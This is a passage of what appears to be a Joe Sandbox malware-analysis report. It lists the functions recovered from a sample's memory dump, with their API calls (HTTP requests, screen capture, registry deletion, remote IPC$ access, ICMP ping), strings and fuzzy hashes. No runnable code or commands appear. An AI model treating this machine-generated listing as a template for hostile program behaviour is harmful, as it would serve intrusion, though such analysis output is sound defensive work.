SleepConditionVariableCS, xrefs: 00690154
kernel32.dll, xrefs: 00690133
WakeAllConditionVariable, xrefs: 00690162

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 28104ff3620a2ec61c26e1337d78d4201518cc95c3e35147db0697054c875466
Instruction ID: 1d74f1f66d9a00a7c08c56f118d28354d55c5a508f631c4209af495d7c6e6e32
Opcode Fuzzy Hash: 28104ff3620a2ec61c26e1337d78d4201518cc95c3e35147db0697054c875466
Instruction Fuzzy Hash: 7821DA72644710EFFF225BB4AC09B6937D9DB05B61F14432AF901A2AD1DF7858008A99

Function 006E44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0070CC08), ref: 006E4527
_wcslen.LIBCMT ref: 006E453B
_wcslen.LIBCMT ref: 006E4599
_wcslen.LIBCMT ref: 006E45F4
_wcslen.LIBCMT ref: 006E463F
_wcslen.LIBCMT ref: 006E46A7

Part of subcall function 0068F9F2: _wcslen.LIBCMT ref: 0068F9FD

GetDriveTypeW.KERNEL32(?,00736BF0,00000061), ref: 006E4743

Strings

network, xrefs: 006E469D, 006E46A2
fixed, xrefs: 006E4635, 006E463A
unknown, xrefs: 006E4708
all, xrefs: 006E4531, 006E4536
ramdisk, xrefs: 006E46F1
cdrom, xrefs: 006E458F, 006E4594
removable, xrefs: 006E45EA, 006E45EF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 613d9d7945c2115d3bc0e90f52539de0c36061d26d02d59e7663851585464bb6
Instruction ID: 4358a9c1b0e613d9d106cf324919749ce16a9b165629012781b1015b8fac889d
Opcode Fuzzy Hash: 613d9d7945c2115d3bc0e90f52539de0c36061d26d02d59e7663851585464bb6
Instruction Fuzzy Hash: 8AB1F4716093429FC710DF39C8909AAB7E6BFA5720F508A1DF496C7391EB30D845CBA2

Function 00706CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00706DEB

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00706E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00706E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00706E94
DestroyWindow.USER32(?), ref: 00706EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00670000,00000000), ref: 00706EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00706EFD
GetDesktopWindow.USER32 ref: 00706F16
GetWindowRect.USER32(00000000), ref: 00706F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00706F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00706F4D

Part of subcall function 00689944: GetWindowLongW.USER32(?,000000EB), ref: 00689952

Strings

tooltips_class32, xrefs: 00706E58, 00706EDD
0, xrefs: 00706D98

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 1e43481e1d4e52d8b9d93997ab649c74df8d4334a4e4260234bada270ad0445c
Instruction ID: db5c046a0f1a0c83a11a0a61f0605d3c5278f525b9ac6afd20dd6fce8de2f7e7
Opcode Fuzzy Hash: 1e43481e1d4e52d8b9d93997ab649c74df8d4334a4e4260234bada270ad0445c
Instruction Fuzzy Hash: C2719974100341EFDB21DF18DC54EAABBE9FB89300F444A1EF989872A1CB79E956CB15

Function 006EC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 006EC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 006EC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 006EC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 006EC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 006EC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 006EC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006EC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 006EC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 006EC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 006EC5F0
InternetCloseHandle.WININET(00000000), ref: 006EC5FB

Strings

, xrefs: 006EC575

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 89c763eb7f0c2b632a4f80c5030ca9aec357e0616ee0081af24e7dd655ebf6c2
Instruction ID: aa9acb23e9a288607340cac32de04122cec3343b3b36e12a8487a0869bb40499
Opcode Fuzzy Hash: 89c763eb7f0c2b632a4f80c5030ca9aec357e0616ee0081af24e7dd655ebf6c2
Instruction Fuzzy Hash: 1B518DB1101348FFDB229F62C948AAB7BFDFF08364F00861AF94596250DB34E9159F60

Function 0070856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00708592
GetFileSize.KERNEL32(00000000,00000000), ref: 007085A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 007085AD
CloseHandle.KERNEL32(00000000), ref: 007085BA
GlobalLock.KERNEL32(00000000), ref: 007085C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 007085D7
GlobalUnlock.KERNEL32(00000000), ref: 007085E0
CloseHandle.KERNEL32(00000000), ref: 007085E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 007085F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,0070FC38,?), ref: 00708611
GlobalFree.KERNEL32(00000000), ref: 00708621
GetObjectW.GDI32(?,00000018,000000FF), ref: 00708641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00708671
DeleteObject.GDI32(00000000), ref: 00708699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 007086AF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: bd0e34d7fe67fee954d1bf3dc07806171dc1f8214affd4601dd70fe6ccade01d
Instruction ID: fef4db96f3d22c5dd1d29420dca76733941e1e89e767fbb7e12b8582f661bc8b
Opcode Fuzzy Hash: bd0e34d7fe67fee954d1bf3dc07806171dc1f8214affd4601dd70fe6ccade01d
Instruction Fuzzy Hash: DF414C71600208EFDB119FA5CC88EAE7BB8FF89715F108258F905E72A0DB399D01CB25

Function 006F255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006F25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 006F25E8
CreateCompatibleDC.GDI32(?), ref: 006F25F4
SelectObject.GDI32(00000000,?), ref: 006F2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 006F266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 006F26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 006F26D0
SelectObject.GDI32(?,?), ref: 006F26D8
DeleteObject.GDI32(?), ref: 006F26E1
DeleteDC.GDI32(?), ref: 006F26E8
ReleaseDC.USER32(00000000,?), ref: 006F26F3

Strings

(, xrefs: 006F268D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 3508ed248763b0d2bfaf22b712d1721f5315d5987177874a732b805db2b93e08
Instruction ID: 54db8824486c2797e9829b2e7b455b45d54158bae1769e59836f914865038e97
Opcode Fuzzy Hash: 3508ed248763b0d2bfaf22b712d1721f5315d5987177874a732b805db2b93e08
Instruction Fuzzy Hash: 596102B5D00219EFCF05CFA4D884AAEBBF6FF48310F208629EA55A7250D774A951CF54

Function 006D4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 006D4994
GetWindowTextW.USER32(?,?,00000400), ref: 006D49DA
_wcslen.LIBCMT ref: 006D49EB
CharUpperBuffW.USER32(?,00000000), ref: 006D49F7
_wcsstr.LIBVCRUNTIME ref: 006D4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 006D4A64
GetWindowTextW.USER32(?,?,00000400), ref: 006D4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 006D4AE6
GetClassNameW.USER32(?,?,00000400), ref: 006D4B20
GetWindowRect.USER32(?,?), ref: 006D4B8B

Strings

ThumbnailClass, xrefs: 006D4A6F, 006D4AF1

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 2a97f58f14057c472e584355c894eff02500db627c4879966750a178325df52a
Instruction ID: a98f9e25d6cf7a22c60696f235545f149ec19f354c600e9561211ab150df462c
Opcode Fuzzy Hash: 2a97f58f14057c472e584355c894eff02500db627c4879966750a178325df52a
Instruction Fuzzy Hash: 4E91DC318082059FDB05CF10C985BAA77EAFF94304F04856BFD8A9A296DF34ED45CBA1

Function 006FCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 006FCC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 006FCC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 006FCD48

Part of subcall function 006FCC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 006FCCAA
Part of subcall function 006FCC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 006FCCBD
Part of subcall function 006FCC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 006FCCCF
Part of subcall function 006FCC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 006FCD05
Part of subcall function 006FCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 006FCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 006FCCF3

Strings

advapi32.dll, xrefs: 006FCCB8
RegDeleteKeyExW, xrefs: 006FCCC9

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: f7674d3f8ee197b39b3cdfaa5254bbff9e690a10a737bc635b382cc58d56e17b
Instruction ID: 447dacb32c4b7b5dc55ce00c400781d541affac7b0b29563d51eac4516926066
Opcode Fuzzy Hash: f7674d3f8ee197b39b3cdfaa5254bbff9e690a10a737bc635b382cc58d56e17b
Instruction Fuzzy Hash: 64318FB190112CFBDB218B50DD88EFFBB7DEF45760F004265BA06E2240DB349A45DAA4

Function 006DE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 006DE6B4

Part of subcall function 0068E551: timeGetTime.WINMM(?,?,006DE6D4), ref: 0068E555

Sleep.KERNEL32(0000000A), ref: 006DE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 006DE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 006DE727
SetActiveWindow.USER32 ref: 006DE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 006DE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 006DE773
Sleep.KERNEL32(000000FA), ref: 006DE77E
IsWindow.USER32 ref: 006DE78A
EndDialog.USER32(00000000), ref: 006DE79B

Strings

BUTTON, xrefs: 006DE719

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 262f18fa949fe684f5aae555c054d75495ecfa1341515ff92f1469c0e097e107
Instruction ID: 050a483cf642a69000bafb7abe46d150fe8b6c33a3453b5634a3619e15c583ae
Opcode Fuzzy Hash: 262f18fa949fe684f5aae555c054d75495ecfa1341515ff92f1469c0e097e107
Instruction Fuzzy Hash: BD21C5B8740244EFEB116F20EC89E363B6AE756348F508627F405857A2DF7B9C11CA1D

Function 006DE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00679CB3: _wcslen.LIBCMT ref: 00679CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 006DEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 006DEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 006DEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 006DEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 006DEAA7

Strings

play PlayMe, xrefs: 006DEAA2
close PlayMe, xrefs: 006DEA6E, 006DEA9B
open , xrefs: 006DEA0C
status PlayMe mode, xrefs: 006DEA58
alias PlayMe, xrefs: 006DEA36
play PlayMe wait, xrefs: 006DEA91

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 476e65c7ed42a4627f93ee45605f253c6f43f440b7114ccf25ff2635b5d3e1d7
Instruction ID: 1436753c3632b2f9b69f81b0a54a1e02250c22f4f3f7e8b10628e3fbd05cbe9c
Opcode Fuzzy Hash: 476e65c7ed42a4627f93ee45605f253c6f43f440b7114ccf25ff2635b5d3e1d7
Instruction Fuzzy Hash: 1B11A371A90269B9E720F7A1DC4AEFF6B7DEBD1B00F04842E7415A61D1EE701905C5B0

Function 00688BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00688F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00688BE8,?,00000000,?,?,?,?,00688BBA,00000000,?), ref: 00688FC5

DestroyWindow.USER32(?), ref: 00688C81
KillTimer.USER32(00000000,?,?,?,?,00688BBA,00000000,?), ref: 00688D1B
DestroyAcceleratorTable.USER32(00000000), ref: 006C6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00688BBA,00000000,?), ref: 006C69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00688BBA,00000000,?), ref: 006C69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00688BBA,00000000), ref: 006C69D4
DeleteObject.GDI32(00000000), ref: 006C69E6

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: aaf47ed9c6cc6f320251c6b64ddc872e59e06962512f3fb33fec506f31cb1681
Instruction ID: 1ca89b431d50c5069f4d831457f0a260187e184a06f5488fdec6be964d5a07eb
Opcode Fuzzy Hash: aaf47ed9c6cc6f320251c6b64ddc872e59e06962512f3fb33fec506f31cb1681
Instruction Fuzzy Hash: BB618A34502701DFDB22AF18DA48B6577F2FB41312F94861DE0429B6A4CB79B9C1CF98

Function 006A8D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.i, xrefs: 006A903A, 006A8FD0, 006A8FF2

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID: .i
API String ID: 0-2647164722
Opcode ID: 1b14888ffa7fd3247c819b13f1829bcb15691249795c54fbf02785fbe466236f
Instruction ID: 961b7e7fbb97fe650085df5b5cc1538ef016e3655e26618a537898f926b2ee69
Opcode Fuzzy Hash: 1b14888ffa7fd3247c819b13f1829bcb15691249795c54fbf02785fbe466236f
Instruction Fuzzy Hash: ECC1BE74904249AFDF11EFA8C841BEDBBB6AF0A350F244199E914A7392CB349E41CF65

Function 006D06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 006D07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 006D07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 006D07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 006D0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 006D082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 006D0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 006D083C

Strings

\CLSID, xrefs: 006D0724
SOFTWARE\Classes\, xrefs: 006D070E
\IPC$, xrefs: 006D0784

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: a9881d0144a0a05913e14e8e5d124ddd87658b370fac4669da6d6e9cfdd7caaf
Instruction ID: 0ed36880d66cbd24368fc716ecac9dd041d006da39c4ec6a8097c00d51165bd1
Opcode Fuzzy Hash: a9881d0144a0a05913e14e8e5d124ddd87658b370fac4669da6d6e9cfdd7caaf
Instruction Fuzzy Hash: 08410A72C10229EBDF15EBA4DC95DEDB779BF44350F048229E905A72A1EB346E04CBA4

Function 006F055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 006F05BC
inet_addr.WSOCK32(?), ref: 006F061C
gethostbyname.WSOCK32(?), ref: 006F0628
IcmpCreateFile.IPHLPAPI ref: 006F0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 006F06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 006F06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 006F07B9
WSACleanup.WSOCK32 ref: 006F07BF

Strings

Ping, xrefs: 006F0676

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

